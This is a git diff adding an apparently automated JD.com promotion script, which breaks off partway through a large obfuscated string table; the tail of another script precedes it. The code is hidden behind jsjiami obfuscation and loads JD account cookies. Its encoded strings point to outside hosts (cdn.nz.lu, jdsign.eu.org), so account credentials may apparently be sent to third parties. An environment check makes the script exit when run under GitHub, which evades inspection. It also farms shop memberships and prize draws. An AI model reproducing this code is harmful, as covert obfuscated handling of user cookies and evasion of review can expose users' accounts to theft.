_0x55ccc4={'url':_0x2dd5('‮265'),'body':JSON[_0x2dd5('‫fb')](_0xcc434d),'headers':{'Host':_0x395571,'User-Agent':_0x205e45[_0x2dd5('‮266')]},'timeout':_0x205e45[_0x2dd5('‫267')](0x1e,0x3e8)};$[_0x2dd5('‮cb')](_0x55ccc4,(_0x1bd280,_0x2c7a34,_0xcc434d)=>{try{if(_0x1bd280){console[_0x2dd5('‫9')](''+JSON[_0x2dd5('‫fb')](_0x1bd280));console[_0x2dd5('‫9')]($[_0x2dd5('‮22')]+_0x2dd5('‮100'));}else{}}catch(_0xd2c130){$[_0x2dd5('‮120')](_0xd2c130,_0x2c7a34);}finally{if(_0x205e45[_0x2dd5('‫268')](_0x205e45[_0x2dd5('‫269')],_0x205e45[_0x2dd5('‫269')])){console[_0x2dd5('‫9')](_0x1bd280);}else{_0x205e45[_0x2dd5('‫26a')](_0x90bef3,_0xcc434d);}}});});};_0xod6='jsjiami.com.v6'; +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} diff --git a/jd_lzdz1_customizeddsbxx.js b/jd_lzdz1_customizeddsbxx.js new file mode 100644 index 0000000..41369fc --- /dev/null +++ b/jd_lzdz1_customizeddsbxx.js @@ -0,0 +1,6 @@ +/* +99欢聚大牌盛典 +*/ +const $ = new Env("99欢聚大牌盛典"); +var _0xodU='jsjiami.com.v6',_0xodU_=['‮_0xodU'],_0x450f=[_0xodU,'U01mbms=','eFVTQXg=','R3BQUWw=','SXJESlA=','V0F4ZFk=','U0tsS1k=','QVNSRHQ=','ZEZCa0w=','V1lmcHE=','ZFRMZWE=','bFJmU00=','Zkd1a2k=','ZmlRTnY=','blRWbnM=','bVNTa1o=','V2p4Q3M=','ZEV5cm4=','5L2g5aW977ya','bmlja25hbWU=','O0FVVEhfQ19VU0VSPQ==','ZXJyb3JNZXNzYWdl','cHN5T0s=','UFRkU3Q=','R0RxcmI=','QlN6dWQ=','Wlp4aWs=','WExjT1E=','YkRmQUU=','QUt4eWg=','YURHcFU=','UHl5ZmQ=','TVloVlY=','R3pJR1Q=','R0paT2I=','SmFaaHA=','UHRFeWI=','R0p2cE4=','ZFlCeUQ=','b1lneHE=','a2tPeW4=','RnpnQ3U=','R013ZEM=','ckJNR00=','dmVFZWY=','Wk1xYnM=','Z3VPRFI=','Li9VU0VSX0FHRU5UUw==','SkRVQQ==','amRhcHA7aVBob25lOzkuNC40OzE0LjM7bmV0d29yay80ZztNb3ppbGxhLzUuMCAoaVBob25lOyBDUFUgaVBob25lIE9TIDE0XzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBNb2JpbGUvMTVFMTQ4O3N1cHBvcnRKRFNIV0svMQ==','R2hhSWI=','RnZ6V3A=','a3ZHWVY=','REJ3RHI=','bENLUkM=','SkRfVVNFUl9BR0VOVA==','UGFad3U=','b0FncGc=','VVNFUl9BR0VOVA==','ZkJTanQ=','YktpUEs=','WVJjRFY=','RHRFUVI=','bWJrd1U=','aEdYTkk=','UVdNRlE=','ZFBOQnY=','Slhpb1g=','QkpEZWI=','dWxETlE=','dkFIelg=','Qmd6QXM=','dlJyWFY=','U1RnS1M=','RlNJWXA=','QWpuZVI=','blhQUFg=','VnRxYWk=','V1hOV3E=','ekliaUo=','QlN2R1Y=','Y1JFa0k=','U0lHTl9VUkw=','RHJaekE=','WHFRRnI=','YlFXb1o=','b3drWW0=','eE1CdEk=','REJ3QVk=','V2hpalU=','YnZmU3Y=','UWJ2Wkk=','R1lnTlQ=','ZGJ1QWc=','Zmxvb3I=','UVltbHI=','RnJtVFU=','bEp3aHE=','TkRNclE=','TFVyZmk=','WFFDa0Y=','Ym5MU2g=','c1NsT2o=','RU5qUkQ=','YWxkcnQ=','b3pWcUE=','ZEd6d3E=','cmZmd1o=','cUtHdkw=','Q3pnd1o=','a25ueVY=','S0NkU2Q=','bXJ0TGY=','aXpmRG8=','MTAwMQ==','aXVPa1M=','b0trRFc=','dXNlckluZm8=','SFJNeXY=','UEtyZ3Q=','WGxmcmo=','V0xqQlE=','Z1V5SnM=','aXZFSXI=','aHR0cHM6Ly9tZS1hcGkuamQuY29tL3VzZXJfbmV3L2luZm8vR2V0SkRVc2VySW5mb1VuaW9u','bWUtYXBpLmpkLmNvbQ==','Ki8q','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxNF8zIGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgVmVyc2lvbi8xNC4wLjIgTW9iaWxlLzE1RTE0OCBTYWZhcmkvNjA0LjE=','aHR0cHM6Ly9ob21lLm0uamQuY29tL215SmQvbmV3aG9tZS5hY3Rpb24/c2NlbmV2YWw9MiZ1ZmM9Jg==','dE1aQ24=','Qm92emU=','ZkFkSHE=','amZvZ0s=','U0hzdU4=','bEZhdnM=','b2VTWlI=','dXZqd1E=','S2puYmc=','QllrTU0=','d1RjSlQ=','Y0VBQ0k=','aG9xc1g=','SnB5SXQ=','UUNoWlg=','bEthaEU=','UHB4V1I=','dFplUmM=','bG5KcG4=','WGRoeVI=','Rmdwak8=','enVVVUo=','d3lrTk4=','TFpKd2Q=','SnRxbnk=','dExaeEQ=','cmV0Y29kZQ==','c3N4RWM=','ZWNQdUk=','blNURXk=','UVRYcUE=','WnV4S3k=','aGFzT3duUHJvcGVydHk=','d2pUV1c=','a2tNeVY=','YmFzZUluZm8=','c1ZUWUQ=','VXJnQ0w=','bEl1WGY=','SENPcUU=','UVhzaEI=','Y25Benc=','VkdoSXQ=','dlBzRmE=','V1N3QWo=','TnVXZ0Y=','dWlNZ2k=','bkNWY1c=','REFybEc=','QXBLVEg=','bktzRGY=','SUV4bkk=','b1pMdlM=','VFBWU3k=','V2RyQUc=','YXBpLm0uamQuY29t','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9hcHBpZD1qZF9zaG9wX21lbWJlciZmdW5jdGlvbklkPWdldFNob3BPcGVuQ2FyZEluZm8mYm9keT0=','aUpiSno=','JmNsaWVudD1INSZjbGllbnRWZXJzaW9uPTkuMi4wJnV1aWQ9ODg4ODg=','SlFIUno=','S2VySHA=','d2JrU3E=','V1JkRWE=','aHR0cHM6Ly9zaG9wbWVtYmVyLm0uamQuY29tL3Nob3BjYXJkLz92ZW5kZXJJZD0=','fSZjaGFubmVsPTgwMSZyZXR1cm5Vcmw9','VmRmU2o=','TWpucFQ=','cHVGWHk=','dFlFUmI=','VkhuR28=','YlFoRmU=','eXRaeWw=','QWRHc04=','dGhnbGQ=','VG5JeUw=','aWRWWG8=','V01UY1M=','WWlobW0=','em1Ua2c=','Q0l1bEg=','S2Nmc0s=','cGhnT0Y=','Q09EaXU=','ZVlCVk0=','UmdYbk8=','WHdXZGQ=','eU9zUFA=','emdaY1g=','Y1lDRXE=','c2dscXc=','VWRUWWw=','d1FpY1U=','Z2xrUWk=','cHloWVM=','cEdhZW8=','YmluZFdpdGhWZW5kZXI=','Y1ZHTk0=','UklzbGs=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj8=','TldmTlk=','dUh2aVo=','Y3lKRVY=','d1pvalc=','fSZjaGFubmVsPTQwMSZyZXR1cm5Vcmw9','VUhDREQ=','UE5Kek8=','V05CTXg=','aXpSWFc=','SXVJbU4=','UEV6S3Y=','cU9icUI=','cXF6WmI=','SVlJdXI=','V1pQYXk=','TmdZYm0=','TEJtWGk=','WU5ZUXM=','VmhBbUs=','Smh6eVI=','a0NSZ3Y=','b3RJZm0=','OGFkZmI=','amRfc2hvcF9tZW1iZXI=','OS4yLjA=','amRzaWduLmV1Lm9yZw==','Z0JUamU=','cGJsZWw=','V3VqZmM=','dW1tZVU=','SG15TGo=','WE5VdWc=','aHR0cHM6Ly9jZG4ubnoubHUvZ2V0aDVzdA==','bk1lRVo=','YkVRTkM=','dkRJaEE=','S3ZpQm4=','eG9oUHQ=','YXBwbHk=','QnpBQ3c=','Y0JLVWI=','cWpueko=','a2tUSkU=','WnloTGk=','aXN2T2JmdXNjYXRvcg==','SkQ0aVBob25lLzE2NzY1MCAoaVBob25lOyBpT1MgMTMuNzsgU2NhbGUvMy4wMCk=','emgtSGFucy1DTjtxPTE=','VE9jcXQ=','YXFKaFQ=','UFJQcUM=','aHR0cHM6Ly9hcGkubS5qZC5jb20vY2xpZW50LmFjdGlvbj9mdW5jdGlvbklkPWlzdk9iZnVzY2F0b3I=','YkVoa3A=','U3VJaHA=','dGtZWWc=','S0NSSEs=','QlhKV0E=','c3dLanQ=','U3lSdlY=','SVBQUkY=','dGtqUWo=','QnRxV24=','VWZUSUU=','bnZNcWQ=','cWVZQlI=','ZEVSQUc=','b1lKTVM=','b0xFcEs=','bWJzd3Q=','Y29kZQ==','YmtSQnM=','c3NxZVU=','R0FLVGo=','TGFxc04=','aXhsRUw=','U1hkQWg=','TldXbGw=','cnBreHg=','SFBXYkc=','aU9KaG8=','UlBneVU=','VWhtWEE=','d25Pdlc=','VElna2M=','U1VtdXQ=','emlIR1Q=','TmxsV28=','bFZjZFk=','cXNqeEI=','c3JVWGw=','cFNrbnM=','YnJRV3M=','eXVMaVA=','ZndzZVo=','WHZsVk4=','aHR0cHM6Ly9jZG4ubnoubHUvZGRv','WnZmRFY=','RWJ3ZmQ=','S3RsY1Q=','WFh6SnI=','UWVUUEo=','aldWT08=','RFJpcWM=','cFJMd3c=','ZG92Qlc=','ZlZlZm0=','aVFmTFU=','S3lVZGw=','RnVRc2U=','cVpnZlg=','bXNzT2I=','ZlVYeGE=','bEVueVo=','ZnFGaHA=','RmV1SUQ=','cVp2a1k=','eWxrYkk=','Wmh6dXM=','aXNOb2Rl','Li9qZENvb2tpZS5qcw==','Li9zZW5kTm90aWZ5','a2V5cw==','Zm9yRWFjaA==','cHVzaA==','ZW52','SkRfREVCVUc=','ZmFsc2U=','bG9n','Z2V0ZGF0YQ==','Q29va2llc0pE','cGFyc2U=','bWFw','Y29va2ll','cmV2ZXJzZQ==','Q29va2llSkQy','Q29va2llSkQ=','ZmlsdGVy','aGVhZGVycw==','U2V0LUNvb2tpZQ==','44CQ5o+Q56S644CR6K+35YWI6I635Y+W5Lqs5Lic6LSm5Y+35LiAY29va2llCuebtOaOpeS9v+eUqE5vYnlEYeeahOS6rOS4nOetvuWIsOiOt+WPlg==','aHR0cHM6Ly9iZWFuLm0uamQuY29tL2JlYW4vc2lnbkluZGV4LmFjdGlvbg==','ZWVwRnI=','eHh4eHh4eHgteHh4eC14eHh4LXh4eHgteHh4eHh4eHh4eHh4','eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eHh4eA==','MGNlNTg3ZmE4Y2E2NGY3YzhjMGM3NDVkZmZkMGYwMGY=','MGMzNDI3Mjc1NmQxNDVlNzgyZmQyYThkYjM0MmE0YTU=','MTAwMDAwMDkwNA==','d0JURm8=','5pyJ54K55YS/5pS26I63','Z2V0QXV0aG9yQ29kZUxpc3RlcnI=','bXNn','bmFtZQ==','QkN0bmg=','ZFBNaGI=','ampOaXY=','bGVuZ3Ro','VXNlck5hbWU=','bkpsUnQ=','bWF0Y2g=','aW5kZXg=','VmlhVkU=','aXNMb2dpbg==','bmlja05hbWU=','UUxVQmQ=','CioqKioqKuW8gOWni+OAkOS6rOS4nOi0puWPtw==','KioqKioqKioqCg==','TU5hVXQ=','SVdScmc=','WkpFam8=','REhvRno=','c3BsaXQ=','44CQ5o+Q56S644CRY29va2ll5bey5aSx5pWI','5Lqs5Lic6LSm5Y+3','Cuivt+mHjeaWsOeZu+W9leiOt+WPlgpodHRwczovL2JlYW4ubS5qZC5jb20vYmVhbi9zaWduSW5kZXguYWN0aW9u','YmVhbg==','QURJRA==','Z1Zkbm4=','TWNuWk4=','VVVJRA==','SExMWHo=','dlRFV2c=','R0NSU2w=','YXV0aG9yQ29kZQ==','YXV0aG9yTnVt','cmFuZG9tQ29kZQ==','YWN0aXZpdHlJZA==','d09uVkI=','YWN0aXZpdHlTaG9wSWQ=','Y0pFS0o=','YWN0aXZpdHlVcmw=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9kaW5nemhpL2pvaW5Db21tb24vYWN0aXZpdHkv','P2FjdGl2aXR5SWQ9','JnNoYXJlVXVpZD0=','WklwUWU=','JmFkc291cmNlPSZzaGFyZXVzZXJpZDRtaW5pcGc9','d1V2U0M=','c2VjcmV0UGlu','JnNob3BpZD0xMDAwMDA0MDY1JmxuZz0wMC4wMDAwMDAmbGF0PTAwLjAwMDAwMCZzaWQ9JnVuX2FyZWE9','RkxRaGQ=','d2FpdA==','Y3Nsckc=','cWFjZHM=','cVpFdEE=','c2VuZE5vdGlmeQ==','YmluZFdpdGhWZW5kZXJtZXNzYWdl','bWVzc2FnZQ==','SVNFYUM=','Y2F0Y2g=','LCDlpLHotKUhIOWOn+WboDog','ZmluYWxseQ==','ZG9uZQ==','ZHovY29tbW9uL2dldFNpbXBsZUFjdEluZm9Wbw==','SEVrdHE=','5Y675Yqp5YqbIC0+IA==','Y29tbW9uL2FjY2Vzc0xvZ1dpdGhBRA==','dVRxd2E=','WGxuWm4=','am9pbkNvbW1vbi9hY3Rpdml0eUNvbnRlbnQ=','5YWz5rOo5bqX6ZO6','am9pbkNvbW1vbi9kb1Rhc2s=','6I635Y+W5Y2h','am9pbkNvbW1vbi9hc3Npc3Q=','am9pbkNvbW1vbi90YXNrSW5mbw==','5Yqg5YWl5bqX6ZO65Lya5ZGY','dG9rZW4=','b3BlbkNhcmRBY3Rpdml0eUlk','YWRkU2NvcmU=','b3BlblZlbmRlck51bQ==','TG9rRlU=','Zm1WZnk=','ZklVeVA=','YWN0aXZpdHlJZD0=','UkJNRlY=','bVBHalA=','SXdJekQ=','UHJNQmQ=','dEZCcFk=','dUZPT3Q=','VVlXaE8=','dmVuZGVySWQ9','JmNvZGU9OTkmcGluPQ==','bHRJS1k=','JmFjdGl2aXR5SWQ9','JnBhZ2VVcmw9','JnN1YlR5cGU9YXBwJmFkU291cmNlPQ==','SndrWEU=','cGd2U3g=','VlloanY=','c3VjY2Vzcw==','RFNGd3U=','Y2R5WVg=','JnBpbj0=','a0ttZkY=','JnBpbkltZz0mbmljaz0=','UmZlVGY=','cGlu','JmNqeXhQaW49JmNqaHlQaW49JnNoYXJlVXVpZD0=','ZkhjS3c=','Rkd4cmo=','UXVKRFY=','Y3Nsc28=','T093WEQ=','VG5meHQ=','JnV1aWQ9','YWN0b3JVdWlk','RHN1VGs=','JnRhc2tUeXBlPTIwJnRhc2tWYWx1ZT0=','QXduQko=','RnBlVXE=','SEJ5dEU=','U2RPSUE=','UmpPQlY=','cGluPQ==','b2R0SlE=','dGFza0xpc3Q=','b3BlbkNhcmRMaXN0','YWxs','ZExjdU8=','UUFLZWI=','aldybmM=','enpIZnE=','5rKh5pyJ6I635Y+W5Yiw5a+55bqU55qE5Lu75Yqh44CCCg==','bHN5VFI=','b3BlblZlbmRlcklk','aW5kZXhPZg==','Tk1SYk8=','dmFsdWU=','Pj4+IOWOu+WKoOWFpQ==','QXhpUnc=','QUl0V0Q=','Q0RrYmo=','YnVISkQ=','TlJtRWw=','d3hBY3Rpb25Db21tb24vZ2V0VXNlckluZm8=','aUNPY3I=','LS0tLS0tLS0tLS0tLS0tLS0tLQ==','dXVpZA==','5rS75Yqo5bey57uP57uT5p2f','c2V0dGluZ0luZm8=','am9pbkNvbW1vbi9zdGFydERyYXc=','bGlua2dhbWUvc2lnbg==','b3BlbmNhcmQvYWRkQ2FydA==','bGlua2dhbWUvc2VuZEFsbENvdXBvbg==','aW50ZXJhY3Rpb24vd3JpdGUvd3JpdGVQZXJzb25JbmZv','bGlua2dhbWUvZHJhdw==','bGlua2dhbWUvZHJhdy9yZWNvcmQ=','am9pbkNvbW1vbi9hc3Npc3Qvc3RhdHVz','b3BlbmNhcmQvaGVscC9saXN0','bk5QcVQ=','eUJRVmw=','cVdYSnQ=','bkZ2eng=','TEJtaFQ=','cG9zdA==','QnFmQlU=','Z1hkeGQ=','U09pa2U=','SnV4Qm8=','cWNoblQ=','SGV0Ulc=','cmVzdWx0','aW50ZXJlc3RzUnVsZUxpc3Q=','aW50ZXJlc3RzSW5mbw==','emRJTUw=','amRBY3Rpdml0eUlk','ZGF0YQ==','dmVuZGVySWQ=','YWN0aXZpdHlUeXBl','a0NHdm0=','WWZYR0I=','aGFzRW5k','WEpXWHk=','SUhteXo=','5byA5ZCv44CQ','YWN0aXZpdHlOYW1l','44CR5rS75Yqo','QnNEaVc=','WEtuaWo=','YWN0b3JJbmZv','alR5SHo=','dUNzWng=','eG51cUQ=','ck9rblk=','b3BlbkNhcmRTdGF0dXM=','Y21ib00=','UW1LbEI=','Q09xTXQ=','RGJXZmE=','RnpxSUQ=','UGdDcGk=','elNIY3c=','dU1KcWc=','b3BlbkNhcmRJbmZv','aUVVa20=','c3RyaW5naWZ5','bGNLb28=','U093WWY=','bXhQYXQ=','cXVDb2c=','YlhWS0c=','c2V0LWNvb2tpZQ==','eUlrUXM=','T1VldGQ=','eU90dFQ=','Z2twQWY=','QWtFRW4=','ckRzVnU=','aHdwdUc=','VGppT0c=','S1ZXcE8=','dVJIUnI=','aGtKSW8=','cWhKTmw=','c3Vic3Ry','d0xBS0w=','UGhWVUk=','cVhPZnk=','eWd5VWQ=','Y3Z2cHI=','ckJVY0s=','U29DWHU=','aGRUYUM=','V0JjVm0=','b3hXRnI=','UUhveFo=','c2ZFTFM=','cXZ3YVk=','WEdvVWM=','Z3pQSGc=','WXBibUo=','UW1nS2U=','V1pod1I=','TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM18yXzMgbGlrZSBNYWMgT1MgWCkgQXBwbGVXZWJLaXQvNjA1LjEuMTUgKEtIVE1MLCBsaWtlIEdlY2tvKSBWZXJzaW9uLzEzLjAuMyBNb2JpbGUvMTVFMTQ4IFNhZmFyaS82MDQuMSBFZGcvODcuMC40MjgwLjg4','QVVEUnk=','RnZISE8=','WG9rVm4=','ekVJd24=','Z0ludkE=','a3lDVlk=','anRRb3c=','bVdTUUg=','c1JGRGQ=','bE1TSEI=','U3hUY1Y=','UE1PdW8=','cHBNeEg=','YXRwelI=','bkZIdmY=','a1JscXM=','VU5XalI=','QmNGbmo=','ZEZ0WnQ=','YVNrRnU=','UHdFZHI=','SXlORVI=','Z2V0','TXlCUnA=','QVpTaUc=','eVlIY1A=','T0NuQWQ=','UG9YSk8=','RGtRQnM=','R2NueFg=','cmVwbGFjZQ==','cGhMQ0E=','aFZEa1k=','cmFuZG9t','T3dxWmI=','WGhwVlI=','aUpVRWQ=','dG9TdHJpbmc=','dG9VcHBlckNhc2U=','dU5lYno=','WFZBSWo=','cEJYd3Y=','bG9nRXJy','aXNyenQ=','TW5RSkY=','d3ZuTHo=','bHpkejEtaXN2LmlzdmpjbG91ZC5jb20=','YXBwbGljYXRpb24vanNvbg==','WE1MSHR0cFJlcXVlc3Q=','emgtY24=','Z3ppcCwgZGVmbGF0ZSwgYnI=','YXBwbGljYXRpb24veC13d3ctZm9ybS11cmxlbmNvZGVk','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbQ==','a2VlcC1hbGl2ZQ==','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS8=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9kaW5nemhpLw==','R3ZWWFc=','dElpaW0=','ZGxUZ3Y=','dkR5T3A=','TlNlSFg=','UXJHZFQ=','VlBTTU8=','amRhcHA7aVBob25lOzkuNS40OzEzLjY7','O25ldHdvcmsvd2lmaTtBRElELw==','O21vZGVsL2lQaG9uZTEwLDM7YWRkcmVzc2lkLzA7YXBwQnVpbGQvMTY3NjY4O2pkU3VwcG9ydERhcmtNb2RlLzA7TW96aWxsYS81LjAgKGlQaG9uZTsgQ1BVIGlQaG9uZSBPUyAxM182IGxpa2UgTWFjIE9TIFgpIEFwcGxlV2ViS2l0LzYwNS4xLjE1IChLSFRNTCwgbGlrZSBHZWNrbykgTW9iaWxlLzE1RTE0ODtzdXBwb3J0SkRTSFdLLzE=','Z3BLY1E=','aUtjVmk=','cVZIUHA=','Q0ZYSUw=','SHh1eUs=','dXNKdFM=','WUlSZ2U=','c0VTdHk=','Z1N5bnM=','d1NFZEY=','bHZHeFY=','T2ZwWFg=','d2d4R3E=','V0pKRkM=','5Lqs5Lic6L+U5Zue5LqG56m65pWw5o2u','dE5NRHI=','aHR0cHM6Ly9semR6MS1pc3YuaXN2amNsb3VkLmNvbS9jdXN0b21lci9nZXRNeVBpbmc=','ZExGQ2g=','YVpZcU4=','a0VSZ0Y=','Y1JycXI=','d3RhYkI=','cG9OY0c=','WVNmQmQ=','THFuaXY=','dXNlcklkPQ==','JnRva2VuPQ==','JmZyb21UeXBlPUFQUCZyaXNrVHlwZT0x','UURmYnU=','dGJ6c28=','U0FQRVM=','WmxTb2k=','R1d4VEY=','RHZqeFU=','ZmR6SEI=','S2tSR2k=','dUFTaUs=','VFFkSHg=','c254R2k=','UU14Q3Y=','eXN5dnM=','T2h3UmE=','ZnFIREc=','WkhWY3A=','ZFRkUHI=','alRxalg=','aWtHVXk=','SVdrUWE=','TXJMSm